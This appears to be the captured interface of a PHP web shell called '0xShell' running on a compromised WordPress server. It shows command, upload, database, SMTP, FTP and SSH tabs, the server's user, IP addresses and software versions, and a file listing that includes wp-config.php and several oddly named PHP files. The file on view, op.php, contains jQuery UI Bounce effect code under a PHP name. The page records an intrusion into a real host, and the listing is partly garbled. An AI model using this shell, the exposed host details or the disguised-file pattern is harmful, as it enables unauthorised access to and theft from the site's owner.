0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php
/*!
* jQuery UI Effects Bounce 1.13.3
* https://jqueryui.com
*
* Copyright OpenJS Foundation and other contributors
* Released under the MIT license.
* https://jquery.org/license
*/
//>>label: Bounce Effect
//>>group: Effects
//>>description: Bounces an element horizontally or vertically n times.
//>>docs: https://api.jqueryui.com/bounce-effect/
//>>demos: https://jqueryui.com/effect/
( function( factory ) {
"use strict";
if ( typeof define === "function" && define.amd ) {
// AMD. Register as an anonymous module.
define( [
"jquery",
"../version",
"../effect"
], factory );
} else {
// Browser globals
factory( jQuery );
}
} )( function( $ ) {
"use strict";
return $.effects.define( "bounce", function( options, done ) {
var upAnim, downAnim, refValue,
element = $( this ),
// Defaults:
mode = options.mode,
hide = mode === "hide",
show = mode === "show",
direction = options.direction || "up",
distance = options.distance,
times = options.times || 5,
// Number of internal animations
anims = times * 2 + ( show || hide ? 1 : 0 ),
speed = options.duration / anims,
easing = options.easing,
// Utility:
ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
motion = ( direction === "up" || direction === "left" ),
i = 0,
queuelen = element.queue().length;
$.effects.createPlaceholder( element );
refValue = element.css( ref );
// Default distance for the BIGGEST bounce is the outer Distance / 3
if ( !distance ) {
distance = element[ ref === "top" ? "outerHeight" : "outerWidth" ]() / 3;
}
if ( show ) {
downAnim = { opacity: 1 };
downAnim[ ref ] = refValue;
// If we are showing, force opacity 0 and set the initial position
// then do the "first" animation
element
.css( "opacity", 0 )
.css( ref, motion ? -distance * 2 : distance * 2 )
.animate( downAnim, speed, easing );
}
// Start at the smallest distance if we are hiding
if ( hide ) {
distance = distance / Math.pow( 2, times - 1 );
}
downAnim = {};
downAnim[ ref ] = refValue;
// Bounces up/down/left/right then back to 0 -- times * 2 animations happen here
for ( ; i < times; i++ ) {
upAnim = {};
upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
element
.animate( upAnim, speed, easing )
.animate( downAnim, speed, easing );
distance = hide ? distance * 2 : distance / 2;
}
// Last Bounce when Hiding
if ( hide ) {
upAnim = { opacity: 0 };
upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
element.animate( upAnim, speed, easing );
}
element.queue( done );
$.effects.unshift( element, queuelen, anims + 1 );
} );
} );
Disabled functions: None